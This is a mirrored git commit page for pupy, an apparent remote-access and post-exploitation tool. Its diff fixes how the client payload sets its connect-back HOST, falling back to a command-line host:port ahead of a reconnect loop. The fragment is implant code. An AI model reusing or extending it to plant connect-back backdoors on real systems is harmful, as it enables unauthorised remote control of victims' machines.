mirror of https://github.com/n1nj4sec/pupy.git
Merge pull request #16 from byt3bl33d3r/linux_payload_fix
Linux payload was not properly setting the HOST variable
This commit is contained in:
commit
157b0572cf
|
@ -87,10 +87,10 @@ def main():
|
||||||
HOST=pupy.get_connect_back_host()
|
HOST=pupy.get_connect_back_host()
|
||||||
except ImportError:
|
except ImportError:
|
||||||
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
||||||
|
else:
|
||||||
if len(sys.argv)!=2:
|
if len(sys.argv)!=2:
|
||||||
exit("usage: %s host:port"%sys.argv[0])
|
exit("usage: %s host:port"%sys.argv[0])
|
||||||
HOST=sys.argv[1]
|
HOST=sys.argv[1]
|
||||||
else:
|
|
||||||
add_pseudo_pupy_module(HOST)
|
add_pseudo_pupy_module(HOST)
|
||||||
attempt=0
|
attempt=0
|
||||||
while True:
|
while True:
|
||||||
|
|
Loading…
Reference in New Issue